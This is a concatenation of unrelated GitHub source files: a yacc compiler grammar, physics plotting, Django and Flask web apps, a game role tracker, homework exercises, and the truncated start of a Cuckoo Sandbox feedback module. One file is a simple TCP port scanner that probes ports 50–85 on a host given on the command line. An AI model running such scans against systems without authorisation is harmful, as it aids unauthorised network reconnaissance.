p_ciclo(p):\n '''ciclo : REPEAT push_cont PARIZQ expresion fin_exp PARDER bloque fin_repeat'''\n\n# Funcion para meter el contador actual de quads en la pila de saltos.\ndef p_push_cont(p):\n '''push_cont : '''\n global quads\n global pila_saltos\n pila_saltos.append(quads.contador)\n\n# Funcion para marcar el finc de ciclo generando el quadruplo goto.\ndef p_fin_repeat(p):\n '''fin_repeat : '''\n global quads\n global pila_saltos\n fin = pila_saltos.pop()\n retorno = pila_saltos.pop()\n quads.genera('goto', None, None, retorno)\n quads.rellena(fin)\n\n# Reglas sintacticas de escritura.\ndef p_escritura(p):\n '''escritura : PRINT PARIZQ arg_escritura PARDER PUNTCOM\n arg_escritura : expresion fin_arg args_escritura\n | CTE_STR print_string args_escritura\n args_escritura : COMA arg_escritura\n | '''\n\n# Funcion para generar el cuadruplo print con una expresion.\ndef p_fin_arg(p):\n '''fin_arg : '''\n global quads\n global pila_operandos\n val_esp = pila_operandos.pop()\n quads.genera('print', None, None, val_esp['dir_virtual'])\n\n# Funcion para generar el cuadruplo print con una cadena.\ndef p_print_string(p):\n '''print_string : '''\n global quads\n quads.genera('print', None, None, p[-1])\n\n# Reglas sintacticas para funciones de dibujo.\ndef p_instruccion(p):\n '''instruccion : FORWARD actualiza_instr PARIZQ expresion PARDER fin_instr1 PUNTCOM\n | BACKWARD actualiza_instr PARIZQ expresion PARDER fin_instr1 PUNTCOM\n | LEFT actualiza_instr PARIZQ expresion PARDER fin_instr1 PUNTCOM\n | RIGHT actualiza_instr PARIZQ expresion PARDER fin_instr1 PUNTCOM\n | TURN actualiza_instr PARIZQ expresion PARDER fin_instr1 PUNTCOM\n | SIZE actualiza_instr PARIZQ expresion PARDER fin_instr1 PUNTCOM\n | CIRCLE actualiza_instr PARIZQ expresion PARDER fin_instr1 transform PUNTCOM\n | TRIANGLE actualiza_instr PARIZQ expresion PARDER fin_instr1 transform PUNTCOM\n | SQUARE actualiza_instr PARIZQ expresion PARDER fin_instr1 transform PUNTCOM\n | NGON actualiza_instr PARIZQ expresion COMA expresion PARDER fin_instr2 transform PUNTCOM\n | ARC actualiza_instr PARIZQ expresion PARDER fin_instr1 transform PUNTCOM\n | UP actualiza_instr PARIZQ PARDER fin_instr PUNTCOM\n | DOWN actualiza_instr PARIZQ PARDER fin_instr PUNTCOM\n | COLOR PARIZQ expresion COMA expresion COMA expresion PARDER fin_color PUNTCOM\n fill : FILL actualiza_instr PARIZQ PARDER fin_instr trans\n | altera trans\n trans : PUNTO altera trans\n | \n altera : ROTATE actualiza_instr PARIZQ expresion PARDER fin_instr1\n | STRETCH actualiza_instr PARIZQ expresion PARDER fin_instr1'''\n\n# Genera quadruplo dibuja.\ndef p_dibuja(p):\n '''transform : PUNTO fill\n | '''\n quads.genera(\"draw\", None, None, None)\n\n# Actualiza instruccion de dibujo.\ndef p_actualiza_instr(p):\n '''actualiza_instr : '''\n global instr_actual\n instr_actual = p[-1]\n\n# Actualiza instruccion de dibujo.\ndef p_fin_instr(p):\n '''fin_instr : '''\n global quads\n global instr_actual\n quads.genera(instr_actual, None, None, None)\n\n# Marcar fin de instruccion con un parametro.\ndef p_fin_instr1(p):\n '''fin_instr1 : '''\n global instr_actual\n global quads\n global pila_operandos\n val1 = pila_operandos.pop()\n quads.genera(instr_actual, None, None, val1['dir_virtual'])\n\n# Marcar fin de instruccion con dos parametros.\ndef p_fin_instr2(p):\n '''fin_instr2 : '''\n global instr_actual\n global quads\n global pila_operandos\n val2 = pila_operandos.pop()\n val1 = pila_operandos.pop()\n quads.genera(instr_actual, None, val1['dir_virtual'], val2['dir_virtual'])\n\n# Marcar fin de instruccion para cambiar el color.\ndef p_fin_color(p):\n '''fin_color : '''\n global quads\n global pila_operandos\n val3 = pila_operandos.pop()\n val2 = pila_operandos.pop()\n val1 = pila_operandos.pop()\n quads.genera('color', val1['dir_virtual'], val2['dir_virtual'], val3['dir_virtual'])\n\ndef p_error(p):\n print(\"Syntax error at \" + str(p.value) + \" lineno \" + str(p.lineno))\n sys.exit()\n\n# FUNCION PRINCIPAL PARA EVELUAR UN ARCHIVO DE TEXTO - python3 ProyectoFinal_Yacc.py archivo\ndef parse(file):\n lexer = scanner.lexer\n tokens = scanner.tokens\n parser = yacc.yacc()\n file = open(file, 'r')\n data=file.read()\n file.close()\n parser.parse(data)\n # return [dir_func, tabla_constantes, quads.quads, mapa.vals]\n return [tabla_constantes, quads.quads, mapa.vals]\n'''\ndef main():\n temp = parse(str(sys.argv[1]))\n i = 1\n for q in quads.quads:\n print(i, q)\n i += 1\n\nif __name__ == '__main__':\n main()\n'''","repo_name":"carmelormz/ProyectoFinalCompiladores","sub_path":"ProyectoFinal_Yacc.py","file_name":"ProyectoFinal_Yacc.py","file_ext":"py","file_size_in_byte":33448,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"28781524846","text":"import ROOT as R\nimport math\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nR.gStyle.SetOptStat(0)\nR.gStyle.SetGridColor(14)\nR.gStyle.SetPadRightMargin(0.03)\nR.gStyle.SetPadLeftMargin(0.12)\n\n# pull file\nfile_in = R.TFile(\"rootfiles/Histos_1.root\")\n\nh_no1x1 = file_in.HSCParticleAnalyzer.BaseName.BefPreS_ProbQNoL1_Nsingleclusters\nh_with1x1 = file_in.HSCParticleAnalyzer.BaseName.BefPreS_ProbQNoL1\n\nnumbins = h_no1x1.GetNbinsX()\nx_bins = []\nbin_diff = []\nbins_quo = []\nfor i in range(1,numbins+1):\n x_bins.append(h_no1x1.GetXaxis().GetBinCenter(i))\n no1x1_thisbin = h_no1x1.GetBinContent(i)\n with1x1_thisbin = h_with1x1.GetBinContent(i)\n bin_diff.append(no1x1_thisbin - with1x1_thisbin)\n if with1x1_thisbin != 0:\n bins_quo.append(no1x1_thisbin/with1x1_thisbin)\n else:\n bins_quo.append(0)\n\nprint(\"got bins...\")\nplt.figure(figsize=(6,4),dpi=500)\nprint(\"plotting figure\")\nplt.plot(x_bins,bins_quo,linestyle='',marker='.',label=\"Ratio of no 1x1 to with 1x1 hists\")\nprint(\"saving fig...\")\nplt.legend()\nplt.xlabel(\"F_i_pixels\")\nplt.ylabel(\"Tracks/bin (no1x1 - with1x1)\")\nplt.savefig(\"plots/hscp/2_ratio.png\")","repo_name":"chrissellgren/CMS_scripts","sub_path":"histcomparisonplot.py","file_name":"histcomparisonplot.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34083595420","text":"def dfs(graph, start, visited=None):\n if visited is None:\n visited = set()\n visited.add(start)\n print(start, end=\" \")\n\n for neighbor in graph[start]:\n if neighbor not in visited:\n dfs(graph, neighbor, visited)\n\n# Test the DFS algorithm\ngraph = {}\n\n# Reading input graph\nedges = input(\"Enter the edges of the graph in the form (v1,v2), (v2,v3): \").split(\", \")\nfor edge in edges:\n v1, v2 = edge.strip(\"()\").split(\",\")\n if v1 not in graph:\n graph[v1] = []\n if v2 not in graph:\n graph[v2] = []\n graph[v1].append(v2)\n graph[v2].append(v1)\n\nstart_vertex = input(\"Enter the starting vertex: \")\nprint(\"DFS traversal: \", end=\"\")\ndfs(graph, start_vertex)\n","repo_name":"rajshashwatcodes/DataStructures","sub_path":"Python/Searching/DFS.py","file_name":"DFS.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"29491891972","text":"import rnamake.eternabot.eterna_utils as eterna_utils\r\nimport rnamake.eternabot.strategy_template as strategy_template\r\n\r\nclass Strategy(strategy_template.Strategy):\r\n\tdef __init__(self):\r\n\t\tstrategy_template.Strategy.__init__(self)\r\n\t\tself.title_ = \"G's in place of the last A's on the right hand side of any end loop\"\r\n\t\tself.author_ = \"clollin\"\r\n\t\tself.url_ = \"http://getsatisfaction.com/eternagame/topics/_strategy_market_ensemble_strategy_or_beta_test_experiment_title_gs_in_place_of_the_last_as_on_the_right\"\r\n\t\tself.default_params_ = []\r\n\t\tself.code_length_ = 20\r\n\t\tself.publishable_ = True\r\n\t\tself.denormalized_ = True\r\n\t\tself.comprehensive_ = False\r\n\r\n\tdef score(self, design, params):\r\n\r\n\t\tsequence = design['sequence']\r\n\t\telements = design['secstruct_elements']\r\n\t\tcount = 0\r\n\t\tscore = 80\r\n\r\n\t\tfor ii in range(0,len(elements)):\r\n\t\t\tif (elements[ii].type_ == eterna_utils.RNAELEMENT_LOOP):\r\n\t\t\t\tloop_groups = elements[ii].get_loop_groups()\r\n\r\n\t\t\t\t# For hairpin with loop longer than 3\r\n\t\t\t\tif(len(loop_groups) == 1 and len(loop_groups[0]) > 3):\r\n\t\t\t\t\tcount +=1\r\n\t\t\t\t\tif(sequence[loop_groups[0][0]] == \"G\"):\r\n\t\t\t\t\t\tscore += 1\r\n\r\n\r\n\t\tif(count < 1):\r\n\t\t\treturn eterna_utils.UNSCORABLE\r\n\r\n\t\tscore = (score)\r\n\r\n\t\treturn score\r\n","repo_name":"zhuoyuzhang/RNAMake","sub_path":"rnamake/eternabot/strategies/clollin_gs_in_place.py","file_name":"clollin_gs_in_place.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40190828907","text":"from channels.auth import AuthMiddlewareStack\nfrom channels.routing import ProtocolTypeRouter, URLRouter\nfrom django.urls import re_path\nfrom . import ws_consumer\n\nwebsocket_urlpatterns = [\n re_path('huhuchannel', ws_consumer.ChatConsumer),\n]\n\napplication = ProtocolTypeRouter({\n # (http->django views is added by default)\n 'websocket': AuthMiddlewareStack(\n URLRouter(\n websocket_urlpatterns\n )\n ),\n})\n","repo_name":"aneshujevic/Santorini_back-end","sub_path":"santorini_backend/routing.py","file_name":"routing.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74474726275","text":"from django.contrib.auth import get_user, decorators, authenticate, login, logout\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.http import HttpResponse\nfrom django.template import loader\nfrom .models import Ad, User, Conversation, Message\nfrom .forms import ConversationForm\nfrom django.views.decorators.csrf import csrf_protect, requires_csrf_token\nfrom .forms import SignupForm, ProfilForm, AnnouncesForm, LoginForm, MessageForm\nfrom django.db.models import Count\n\ndef home(request):\n template = loader.get_template('home.html')\n context = {\n \"topFive\" : User.objects.annotate(num_ads=Count('ad')).order_by('-num_ads')[:5],\n \"lastDemand\" : Ad.objects.filter(type = 'demand',status= 'online' ).order_by('id')[:5],\n \"lastSupply\" : Ad.objects.filter(type = 'supply',status= 'online' ).order_by('id')[:5]\n\n }\n return HttpResponse(template.render(context,request))\n\n\n\ndef supply(request):\n template = loader.get_template('ad/supply.html')\n result = Ad.objects.filter(type = 'supply')\n search_term = ''\n if 'search' in request.GET:\n search_term = request.GET['search']\n result = Ad.objects.all().filter(title__contains=search_term, type='supply') \n\n context = {\n \"ads\": result\n }\n return HttpResponse(template.render(context,request))\n\n\ndef demand(request):\n template = loader.get_template('ad/demand.html')\n result = Ad.objects.filter(type = 'demand')\n\n search_term = ''\n if 'search' in request.GET:\n search_term = request.GET['search']\n result = Ad.objects.all().filter(title__contains=search_term, type='demand') \n\n context = {\n \"ads\": result\n }\n return HttpResponse(template.render(context,request))\n\n\ndef detail(request, id):\n\n template = loader.get_template('ad/detail.html')\n idAd = int(id)\n form = ConversationForm()\n if request.method == 'POST':\n form = ConversationForm(request.POST)\n ad = Ad.objects.get(id=idAd)\n conversation = Conversation.objects.create(ad=ad)\n if form.is_valid():\n conversation.save()\n return redirect('worker:conversation', id=conversation.id)\n\n try:\n context = {\n \"ad\": Ad.objects.get(id = idAd)\n }\n except:\n context = {\n \"ad\": None\n }\n\n if request.method == 'POST':\n form = ConversationForm(request.POST)\n if form.is_valid():\n return HttpResponse(template.render(context,request))\n\n \n\n\n return HttpResponse(template.render(context,request))\n\n\n@csrf_protect\n@requires_csrf_token\ndef signup(request):\n template = loader.get_template('accounts/signup.html')\n\n user = get_user(request)\n if not user.is_authenticated:\n if request.method == 'POST':\n form = SignupForm(request.POST)\n context = {\n 'form': form\n }\n if form.is_valid():\n form.save()\n email = form.cleaned_data['email']\n raw_password = form.cleaned_data['password1']\n user = authenticate(email=email, password=raw_password)\n login(request, user)\n return redirect('worker:home')\n else:\n form = SignupForm()\n context = {\n 'form': form\n }\n\n return HttpResponse(template.render(context, request))\n\n return redirect('worker:home')\n\n\n@decorators.login_required(login_url='/account/login/')\ndef profil(request):\n\n template = loader.get_template('accounts/profil.html')\n user = get_user(request)\n context = {\n \"user\": user\n }\n if request.method == 'POST':\n form = ProfilForm(request.POST)\n context = {\n 'form': form\n }\n if form.is_valid():\n user.first_name = form.cleaned_data['first_name']\n user.last_name = form.cleaned_data['last_name']\n user.email = form.cleaned_data['email']\n user.save()\n\n \n else:\n form = ProfilForm(initial={'email': user.email, 'first_name' : user.first_name, 'last_name': user.last_name})\n context = {\n 'form': form\n }\n return HttpResponse(template.render(context,request))\n\n@decorators.login_required(login_url='/account/login/')\ndef announces(request):\n\n template = loader.get_template('accounts/announces.html')\n user = get_user(request)\n context = {\n \"announces\": Ad.objects.filter(user_id = user.id)\n }\n \n return HttpResponse(template.render(context,request))\n\n@decorators.login_required(login_url='/account/login/')\ndef add_announce(request):\n\n template = loader.get_template('accounts/add.html')\n user = get_user(request)\n announces = Ad()\n context = {\n \"announces\": Ad.objects.filter(user_id = user.id)\n }\n if request.method == 'POST':\n form = AnnouncesForm(request.POST)\n \n if form.is_valid():\n announces.title = form.cleaned_data['title']\n announces.description = form.cleaned_data['description']\n announces.category = form.cleaned_data['category']\n announces.type = form.cleaned_data['type']\n announces.status = \"online\"\n announces.user = user\n announces.save()\n context = {\n 'form': form,\n 'success': True\n }\n \n else:\n form = AnnouncesForm()\n context = {\n 'form': form,\n 'success': False\n }\n return HttpResponse(template.render(context,request))\n\n\n\ndef logout_view(request):\n logout(request)\n return redirect('worker:home')\n\ndef login_view(request):\n template = loader.get_template('accounts/login.html')\n user = get_user(request)\n if not user.is_authenticated:\n if request.method == 'POST':\n form = LoginForm(request.POST)\n context= {\n 'form': form\n }\n if form.is_valid():\n email = form.cleaned_data['email']\n password = form.cleaned_data['password']\n user = authenticate(email=email, password=password)\n if user:\n login(request,user,backend='django.contrib.auth.backends.ModelBackend')\n return redirect('worker:home')\n else:\n form = LoginForm()\n context = {\n 'form' : form,\n \"error\" : \"Vos identifiants sont incorrects !\"\n }\n \n else:\n form = LoginForm()\n context= {\n 'form': form\n }\n return HttpResponse(template.render(context,request))\n\n return redirect('worker:home')\n\n \n@csrf_protect\n@requires_csrf_token\ndef conversation(request, id):\n template = loader.get_template('ad/conversation.html')\n id = int(id)\n print(id)\n conversation = Conversation.objects.get(id=id)\n print(conversation)\n\n get_messages = Message.objects.filter(conversation_id=id).order_by('-created')\n form = MessageForm()\n message = Message()\n if request.method == 'POST':\n form = MessageForm(request.POST)\n user = get_user(request)\n message.sender = user\n message.conversation = conversation\n message.content = form.data[\"content\"]\n if form.is_valid():\n message.save()\n context = {\n 'conversation': conversation,\n 'messages': get_messages,\n 'form': form,\n }\n return HttpResponse(template.render(context, request))\n context = {\n 'conversation': conversation,\n 'messages': get_messages,\n 'form': form,\n }\n \n return HttpResponse(template.render(context, request))\n","repo_name":"branisanz1/covidAids","sub_path":"src/ipssihelp/worker/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20460870516","text":"import autonomy\nimport role.role_state\n\nclass RoleStateTracker:\n __qualname__ = 'RoleStateTracker'\n ACTIVE_ROLE_INDEX = 0\n\n def __init__(self, sim):\n self._sim = sim\n self._role_states = []\n for _ in role.role_state.RolePriority:\n self._role_states.append([])\n\n def __iter__(self):\n return iter(self._role_states)\n\n def __len__(self):\n return len(self._role_states)\n\n def reset(self):\n role_states_to_remove = [role_state for role_priority in self for role_state in role_priority]\n for role_state in role_states_to_remove:\n self.remove_role(role_state, activate_next_lower_priority_role=False)\n\n def shutdown(self):\n self.reset()\n self._sim = None\n\n def _find_active_role_priority(self):\n index = len(self._role_states) - 1\n while index >= 0:\n if self._role_states[index]:\n return index\n index -= 1\n return index\n\n def add_role(self, new_role_state, role_affordance_target=None):\n old_active_priority = self._find_active_role_priority()\n self._role_states[new_role_state.role_priority].append(new_role_state)\n new_active_priority = self._find_active_role_priority()\n if new_role_state.role_priority >= old_active_priority:\n new_role_state.on_role_activate(role_affordance_target=role_affordance_target)\n if new_active_priority != old_active_priority and old_active_priority != -1:\n while True:\n for role_state in self._role_states[old_active_priority]:\n role_state.on_role_deactivated()\n self._sim.cancel_actively_running_full_autonomy_request()\n\n def remove_role(self, role_state_to_remove, activate_next_lower_priority_role=True):\n if role_state_to_remove not in self._role_states[role_state_to_remove.role_priority]:\n return\n if activate_next_lower_priority_role:\n old_active_priority = self._find_active_role_priority()\n self._role_states[role_state_to_remove.role_priority].remove(role_state_to_remove)\n if activate_next_lower_priority_role:\n new_active_priority = self._find_active_role_priority()\n if old_active_priority != new_active_priority:\n while True:\n for role_state in self._role_states[new_active_priority]:\n role_state.on_role_activate()\n role_state_to_remove.on_role_deactivated()\n self._sim.cancel_actively_running_full_autonomy_request()\n\n @property\n def active_role_states(self):\n return self._role_states[self._find_active_role_priority()]\n\n def get_autonomy_state(self):\n for role_state in self.active_role_states:\n while role_state.only_allow_sub_action_autonomy:\n return autonomy.settings.AutonomyState.LIMITED_ONLY\n return autonomy.settings.AutonomyState.UNDEFINED\n\n","repo_name":"johndpope/sims4-ai-engine","sub_path":"simulation/role/role_tracker.py","file_name":"role_tracker.py","file_ext":"py","file_size_in_byte":2978,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"16884937972","text":"#!/bin/python\r\nimport sys\r\nimport socket\r\nfrom datetime import datetime\r\n\r\nif len(sys.argv) == 2:\r\n\ttarget = socket.gethostbyname(sys.argv[1])\r\nelse:\r\n\tprint('invalid amount of arguments')\r\n\r\nprint('-' * 50)\r\nprint(\"scanning target: \" + target)\r\n\r\ntry:\r\n\tfor port in range(50,85):\r\n\t\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\t\tsocket.setdefaulttimeout(1)\r\n\t\tresult = s.connect_ex((target,port))\r\n\t\tif result == 0:\r\n\t\t\tprint(f'port {port} is open')\r\n\t\ts.close\r\n\t\r\nexcept KeyboardInterrupt:\r\n\tprint('exiting program')\r\n\tsys.exit()\r\nexcept socket.error:\r\n\tprint('cant connect')\r\n\tsys.exit()","repo_name":"Leeyum28/PortScanner","sub_path":"scanner.py","file_name":"scanner.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35089760456","text":"from django import template\nfrom django.utils import timezone\nfrom datetime import timedelta\n\nfrom studies.models import Study, Studying, Announcement\n\nregister = template.Library()\n\n@register.filter(name=\"test\")\ndef test(value, arg):\n return value + '\"te+st\"' + arg\n\n\n@register.filter(name=\"alarm_exists\")\ndef alarm_exists(me):\n # 스터디 가입 요청\n studies = Study.objects.filter(user=me).prefetch_related('join_request')\n for study in studies:\n if study.join_request.exists():\n return True\n \n # 기타 알람이 갈 수 있는 사항들(스터디 공지사항 등)\n studyings = Studying.objects.filter(user=me).select_related('study')\n for studying in studyings:\n announcements = Announcement.objects.filter(\n study=studying.study, \n updated_at__gte=timezone.now() - timedelta(days=7),\n announcementread__is_read=False,\n announcementread__user=me,\n )\n if announcements.exists():\n return True\n\n return False","repo_name":"thebjko/Altudy","sub_path":"studies/templatetags/studies_tags.py","file_name":"studies_tags.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"11332839781","text":"class ActionHandler:\n \"\"\"\n ActionHandler handles user's 3 possible action which is checkBalance, deposit, and withdraw. \n \"\"\"\n def __init__(self, balanceDB):\n self.name = \"a\"\n self.currentUser = None\n self.db = balanceDB\n\n def addUser(self, user):\n self.currentUser = user\n\n def removeUser(self):\n self.currentUser = None\n\n def checkBalance(self, checkPurpose = False):\n \"\"\"\n Checks current balance of the self.currentUser.\n \"\"\"\n if checkPurpose:\n print(\"Check current balance\")\n balance = self.db.checkBalance(self.currentUser.id)\n print(\"Current balance: %d\" % balance)\n return balance\n\n def deposit(self, amount):\n \"\"\"\n Deposit amount of money to the back account. \n There is no upper bound of money that can be deposit.\n \"\"\"\n print(\"Deposit %d\" % amount)\n balance = self.checkBalance()\n self.db.updateBalance(self.currentUser.id, amount)\n print(\"Updated balance: %d\" % (balance + amount))\n return True\n\n def withdraw(self, amount):\n \"\"\"\n Tries to withdraw amount of money. \n If there's not enough balance, withdraw request will be invalidated and balance will remain the same. \n \"\"\"\n print(\"Withdraw %d\" % amount)\n balance = self.checkBalance()\n if balance >= amount:\n self.db.updateBalance(self.currentUser.id, -amount)\n print(\"Updated balance: %d\" % (balance - amount))\n return True\n else:\n print(\"Not enough balance\")\n return False","repo_name":"komfkore/simpleATM","sub_path":"action.py","file_name":"action.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20948922664","text":"\nfrom app import app\n\nfrom flask import render_template\n\n\n@app.route('/')\ndef homePage():\n artists = [\n {\n 'name': 'Joyner Lucas',\n 'age': 34,\n 'spec' : 'American Rapper'\n },\n {\n 'name': 'J. Cole',\n 'age' : 38,\n 'spec' : 'American rapper and record producer'\n },\n {\n 'name' : 'Sofaygo',\n 'age' : 21,\n 'spec': 'American rapper from Georgia'\n },\n {\n 'name': 'Kanye West',\n 'age' : 45,\n 'spec' : 'American rapper'\n },\n {\n 'name' : 'Drake',\n 'age' : 36,\n 'spec': 'Canadian rapper, singer, songwriter and actor'\n }\n ]\n fav_musician = 'Top 5 Artists'\n return render_template('index.html', artists=artists, f = fav_musician)\n\n@app.route('/login')\ndef loginPage():\n return render_template('login.html')\n\n@app.route('/landing')\ndef landingPage():\n return render_template('landing.html')\n \n","repo_name":"soniajean/Week1Day1HW","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23175389991","text":"from __future__ import division, print_function, absolute_import, unicode_literals\n\nimport sys\nimport signal\nimport os\nimport socket\nimport getpass\nimport inspect\nfrom auth0_client.menu.commons.terminal import TerminalHandler\nfrom auth0_client.menu.view import Terminal\nfrom auth0_client.menu.controller import CommandExecutor\nfrom auth0_client.menu.setting.setting import Setting\nfrom auth0_client.menu.logger import SystemLogger\nfrom auth0_client.menu.exceptions import AwsCliMenuError\n\n\nDEBUG=0\n\n\ndef get_hostname():\n if (DEBUG):\n print('auth_menu.py - get_hostname()- caller:'+str(inspect.stack()[1][3]))\n\n hostname = socket.gethostname()\n nickname = os.environ.get('NICKNAME')\n return hostname + (' (%s)' % nickname if nickname else '')\n\n\ndef get_username():\n if (DEBUG):\n print('auth_menu.py - get_username()- caller:'+str(inspect.stack()[1][3]))\n\n return getpass.getuser()\n\n\n\n\ndef main(stdin=sys.stdin, stdout=sys.stdout, stderr=sys.stderr, keep_input_clean=True, timing=True):\n \"\"\"\n Main function\n \"\"\"\n if (DEBUG):\n print('########### Main function from auth_menu.py ###############')\n print('auth_menu.py - main()- caller:'+str(inspect.stack()[1][3]))\n\n base_setting = Setting(stdin=stdin, stdout=stdout, stderr=stderr).parse_args(sys.argv)\n\n # for terminal restoration\n handler = TerminalHandler(stdin=stdin, stdout=stdout, stderr=stderr,\n keep_input_clean=keep_input_clean, getch_enabled=base_setting.getch_enabled)\n\n\n\n signal.signal(signal.SIGTERM, handler.restore_terminal)\n\n try:\n\n if (DEBUG):\n print('#################### auth_menu.py - load config, resolve encoding and set base settings ###########')\n\n setting = base_setting.resolve_encoding(handler).lookup_config().load_config()\n\n print('########### auth_menu.py - calling CommandExecutor ###########')\n executor = CommandExecutor(\n SystemLogger(setting.encoding), setting.encoding, stdin, stdout, stderr, setting.pid_dir\n )\n\n t = Terminal(\n setting.root_menu,\n get_hostname(),\n get_username(),\n executor,\n handler=handler,\n _input=setting.stdin,\n _output=setting.stdout,\n encoding=setting.encoding,\n lang=setting.lang,\n width=setting.width,\n timing=timing\n )\n\n t.loop()\n except (KeyboardInterrupt, EOFError):\n pass\n except AwsCliMenuError as e:\n base_setting.stdout.write('%s: %s\\n' % (e.__class__.__name__, e))\n return 2\n except IOError as e:\n # maybe killed by outside\n base_setting.stdout.write('\\n%s: %s\\n' % (e.__class__.__name__, e))\n return 3\n except OSError as e:\n # e.g. working directory does not exist\n base_setting.stdout.write('%s: %s\\n' % (e.__class__.__name__, e))\n return 4\n finally:\n # assume to restore original terminal settings\n handler.restore_terminal(None, None)\n return 0\n","repo_name":"rubelw/auth0_client","sub_path":"auth0_client/menu/auth_menu.py","file_name":"auth_menu.py","file_ext":"py","file_size_in_byte":3063,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"3680225495","text":"'''\nДано число (чотиризначне). Перевірити, чи воно є «щасливим квитком».\nПримітка: щасливим квитком називається число, у якому, при парній кількості цифр,\nсума цифр його лівої половини дорівнює сумі цифр його правої половини.\nНаприклад, 1322 є щасливим квитком, тому що 1 + 3 = 2 + 2.\n'''\n\nnumbers = input('numbers = ')\n\nsum_begin = numbers[0:2]\nsum_end = numbers[2:4]\na, b = int(sum_begin[0]), int(sum_begin[1])\nc, d = int(sum_end[0]), int(sum_end[1])\n\nres = 'lucky ticket' if a + b == c + d else 'simple ticket'\nprint(res)\n\n# Alternative\nticket_num = input('Ticket number: ')\nif len(ticket_num) % 2:\n print('input error')\nelse:\n ticket_num = list(map(int, ticket_num))\n mid = len(ticket_num) // 2\n res = 'lucky ticket' if sum(ticket_num[:mid]) == sum(ticket_num[mid::]) else 'simple ticket'\n print(res)\n\n\n'''\nЗ клавіатури вводиться число (шестизначне). Перевірити, чи воно є паліндромом.\nПримітка: Паліндром називається число, слово або текст, які однаково читаються\nзліва направо і справа наліво.\nНаприклад, це числа 143341, 5555, 7117 і т.д.\n'''\n\nnumber = input('number = ')\n\npart1 = number[0:3]\npart2 = number[::-1][0:3]\n\nres = 'Yes' if part1 == part2 else 'No'\nprint(res)\n\n# Alternative\nnum = input('number: ')\nrev_num = num[::-1]\nresult = 'Y' if num == rev_num else 'N'\nprint(result)\n\n\n\"\"\"\nДано коло з центром на початку координат та радіусом 4.\nКористувач вводить з клавіатури координати точки x та y.\nНаписати програму, яка визначить, лежить ця точка всередині кола чи ні\n\"\"\"\n\n# x2 + y2 = R2\n\nx, y = int(input('x = ')), int(input('y = '))\nr = 4\nif x**2 + y**2 == r**2:\n print('(x,y) is on the cycle')\nelif x**2 + y**2 < r**2:\n print('(x,y) is in the cycle')\nelse:\n print('(x,y) is out of the cycle')","repo_name":"HelgaTe/prog_academy_course_2022","sub_path":"homework/homework_5.py","file_name":"homework_5.py","file_ext":"py","file_size_in_byte":2265,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31109154813","text":"food=[\"briyani\",\"parotta\",\"naan\",\"idli\",\"dosai\",\"noodles\",\"fried rice\",\"puri\",\"chappathi\",\"sambar vadai\"]\r\ncost=[120,10,20,10,15,40,140,30,25,35]\r\ni=input(\"Enter the food you want:\")\r\nq=int(input(\"Enter the quantity of food you want:\"))\r\nif i in food:\r\n print(i)\r\n t=food.index(i)\r\n d=int(cost[t])\r\n a=q*d\r\n print(\"cost of the food is:\",a)\r\n","repo_name":"Thejasvikha/Python-programs","sub_path":"hotel modified.py","file_name":"hotel modified.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25222587594","text":"import io\nimport json\nimport logging\nimport os\nimport requests\nimport traceback\nimport zipfile\n\nfrom cuckoo.common.config import Config, config\nfrom cuckoo.common.exceptions import CuckooFeedbackError\nfrom cuckoo.core.report import Report\nfrom cuckoo.misc import version, cwd\n\nlog = logging.getLogger(__name__)\n\nclass CuckooFeedback(object):\n \"\"\"Contact Cuckoo HQ with feedback & optional analysis dump.\"\"\"\n endpoint = \"https://feedback.cuckoosandbox.org/api/submit/\"\n exc_safelist = (\n CuckooFeedbackError,\n )\n\n def enabled(self):\n return config(\"cuckoo:feedback:enabled\")\n\n def send_exception(self, exception, request):\n \"\"\"\n To be used during exception handling.\n @param exception: The exception class\n @param request: Django request object\n @return:\n \"\"\"\n if not self.enabled():\n return\n\n feedback = CuckooFeedbackObject(\n automated=True, message=\"Exception encountered: %s\" % exception\n )\n\n if isinstance(exception, self.exc_safelist):\n log.debug(\"A safelisted exception occurred: %s\", exception)\n return\n\n # Ignore 404 exceptions regarding \".map\" development files.\n from django.http import Http404\n if isinstance(exception, Http404) and \".map\" in exception.message:\n return\n\n from django.template import TemplateSyntaxError, TemplateDoesNotExist\n if isinstance(exception, (TemplateSyntaxError, TemplateDoesNotExist)):\n feedback.add_error(\n \"A Django-related exception occurred: %s\" % exception\n )\n\n feedback.add_traceback()\n\n class options(object):\n analysis = False\n json_report = False\n memdump = False\n config = True\n\n if request:\n if hasattr(request, \"resolver_match\") and request.resolver_match:\n if request.method == 